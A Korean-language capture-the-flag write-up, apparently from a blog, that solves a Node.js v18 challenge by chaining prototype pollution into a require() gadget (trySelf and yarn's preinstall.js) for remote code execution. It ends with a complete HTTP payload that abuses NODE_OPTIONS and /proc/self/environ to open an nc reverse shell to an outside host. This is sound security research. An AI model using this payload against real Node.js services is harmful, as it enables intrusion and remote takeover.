#!/usr/local/bin/node
process.stdin.setEncoding('utf-8');
process.stdin.on('readable', () => {
try{
console.log('HTTP/1.1 200 OK\nContent-Type: text/html\nConnection: Close\n');
const json = process.stdin.read().match(/\?(.*?)\ /)?.[1];
console.log(json)
obj = JSON.parse(json);
console.log(`JSON: ${json}, Object:`, require('./index')(obj, {}));
}catch(error){
require('./usage')
}finally{
process.exit();
}
});
문제 코드는 위와 같다.
취약점은 require('./index')(obj, {})
에서 발생하는데 index.js의 코드는 아래와 같다.
module.exports=(O,o) => (Object.entries(O).forEach(([K,V])=>Object.entries(V).forEach(([k,v])=>(o[K]=o[K]||{},o[K][k]=v))), o);
한 줄로 코드가 작성되있어서 보기 힘들 수 있는데 잘 읽어보면 그냥 prototype pollution이 발생한다.
그럼 이제 취약점을 이용해서 RCE를 얻어야하는데 RCE에 쓸만한 함수는 require 밖에 없다.
https://arxiv.org/abs/2207.11171
다행히도 최근에 prototype pollution에 대해 정리된 논문이 나왔고 이 안에 require안에서 prototype pollution으로 원하는 함수를 import하는 법에 대해 잘 정리되어있었다.
하지만 node v16.16.0에선 성공했는데 문제가 돌아가는 환경인 node v18.8.0에선 아무리 돌려도 익스가 불가능했다.
이유는 다음과 같다.
https://github.com/nodejs/node/commit/a8c24185f8c156b204175c76de68113d950a5e6f#diff-5b5902273122e094ff474fda358605ffa45a4a58b51cd0bf4c1acb93779df142
코드를 리팩토링하면서 정규식 관련 부분을 수정했는데 lib/internal/modules/cjs/loader.js
의 resolveExports함수 부분의 코드가 아래와 같이 변경되었다.
function resolveExports(nmPath, request) {
// The implementation's behavior is meant to mirror resolution in ESM.
const { 1: name, 2: expansion = '' } =
- StringPrototypeMatch(request, EXPORTS_PATTERN) || [];
+ RegExpPrototypeExec(EXPORTS_PATTERN, request) || kEmptyObject;
if (!name)
return;
const pkgPath = path.resolve(nmPath, name);
원랜 StringPrototypeMatch함수에서 false를 반환했을 때 || 연산자에 의해 []가 사용되고 이때 name, expansion 변수를 prototype pollution으로 맘대로 덮어서 익스플로잇이 가능했는데 이젠 kEmptyObject를 리턴하기 때문에 exploit이 불가능하다.
kEmptyObject = ObjectFreeze(ObjectCreate(null));
이 방법으론 익스플로잇이 불가능하기 때문에 새로운 가젯을 찾아야하는데 require 함수에 breakpoint를 걸고 호출을 따라가다보면 흥미로운 부분을 발견할 수 있다.
require 함수의 호출을 따라가다보면 tryself함수를 호출하는데 코드는 아래와 같다.
function trySelf(parentPath, request) {
if (!parentPath) return false;
const { data: pkg, path: pkgPath } = readPackageScope(parentPath) || {};
if (!pkg || pkg.exports === undefined) return false;
if (typeof pkg.name !== 'string') return false;
let expansion;
if (request === pkg.name) {
expansion = '.';
} else if (StringPrototypeStartsWith(request, `${pkg.name}/`)) {
expansion = '.' + StringPrototypeSlice(request, pkg.name.length);
} else {
return false;
}
try {
return finalizeEsmResolution(packageExportsResolve(
pathToFileURL(pkgPath + '/package.json'), expansion, pkg,
pathToFileURL(parentPath), cjsConditions), parentPath, pkgPath);
} catch (e) {
if (e.code === 'ERR_MODULE_NOT_FOUND')
throw createEsmNotFoundErr(request, pkgPath + '/package.json');
throw e;
}
}
readPackageScope는 현재 path를 기준으로 상위 폴더로 올라가며 package.json을 찾는다. 만약 최상위 디렉토리까지 올라가는 동안 package.json을 발견하지 못한다면 함수는 false를 반환해준다. 그럼 패치 이전과 동일하게 {}가 사용될 것이고 pkg, pkgPath 변수를 맘대로 컨트롤 할 수 있다.
{"__proto__":{"data":{"name":"./usage","exports":{".":"./test.js"}},"path":"/tmp"}
만약 위와 같이 pollution을 시도하면 data 변수에는 {"name":"./usage","exports":{".":"./test.js"}}
, pkgPath변수에는 /tmp
가 들어가게 된다.
그럼 try block 안에서 packageExportsResolve를 호출하게 되는데
이때 require 함수는 우리가 pollution한 path에서 usage.js
를 찾으려고 시도한다.
근데 해당 경로엔 usage.js
가 없기 때문에 pollute된 exports property를 이용하여 모듈에 접근할 수 있는 entrypoint를 가져오고
최종적으론 해당 경로엔 package.json이 없음에도 valid한 module 경로로 착각하여 ./test.js
를 import하게 된다.
이제 맘대로 js 파일을 import하는 것이 가능한데 RCE를 위해선 child_process를 사용하는 js 파일을 찾아야한다.
그리고 아주 좋은 예제가 있었다.
/opt/yarn~~
경로에 존재하는 preinstall.js를 이용하는 것인데
환경변수에 npm_config_global이 설정되있다면 child_process를 이용하여 무언가를 실행해준다.
if (process.env.npm_config_global) {
var cp = require('child_process');
var fs = require('fs');
var path = require('path');
try {
var targetPath = cp.execFileSync(process.execPath, [process.env.npm_execpath, 'bin', '-g'], {
encoding: 'utf8',
stdio: ['ignore', undefined, 'ignore'],
}).replace(/\n/g, '');
var manifest = require('./package.json');
var binNames = typeof manifest.bin === 'string'
? [manifest.name.replace(/^@[^\/]+\//, '')]
: typeof manifest.bin === 'object' && manifest.bin !== null
? Object.keys(manifest.bin)
: [];
binNames.forEach(function (binName) {
var binPath = path.join(targetPath, binName);
var binTarget;
try {
binTarget = fs.readlinkSync(binPath);
} catch (err) {
return;
}
if (binTarget.startsWith('../lib/node_modules/corepack/')) {
try {
fs.unlinkSync(binPath);
} catch (err) {
return;
}
}
});
} catch (err) {
// ignore errors
}
}
문제에서 준 환경에도 동일하게 preinstall.js가 존재하고 환경변수는 prototype pollution을 이용하여 설정해주면 되기 때문에 페이로드 가져와서 RCE해주면 된다.
GET /?{"__proto__":{"env":{"EVIL":"console.log(require('child_process').execSync('nc${IFS}server${IFS}1234${IFS}-e${IFS}/bin/sh').toString())//"},"NODE_OPTIONS":"--require=/proc/self/environ","npm_config_global":1,"data":{"name":"./usage","exports":{".":"./preinstall.js"}},"path":"/opt/yarn-v1.22.19/","__proto__":{"a":1}}} HTTP/1.1
위의 페이로드를 burp suite를 이용하여 전송해주면 reverse shell을 얻을 수 있다.
FLAG : BALSN{Pr0toTyP3_PoL1u7i0n_1s_so_Cooooooool!!!}
'ctf writeup' 카테고리의 다른 글
DiceCTF 2023 - unfinished (0) | 2023.02.06 |
---|---|
2022 Fall GoN Open Qual CTF writeup (2) | 2022.09.01 |
LINE CTF 2022 web writeup (0) | 2022.03.27 |
Codegate 2022 Preliminary writeup (0) | 2022.02.27 |
Real World CTF 4th - web writeup (0) | 2022.01.30 |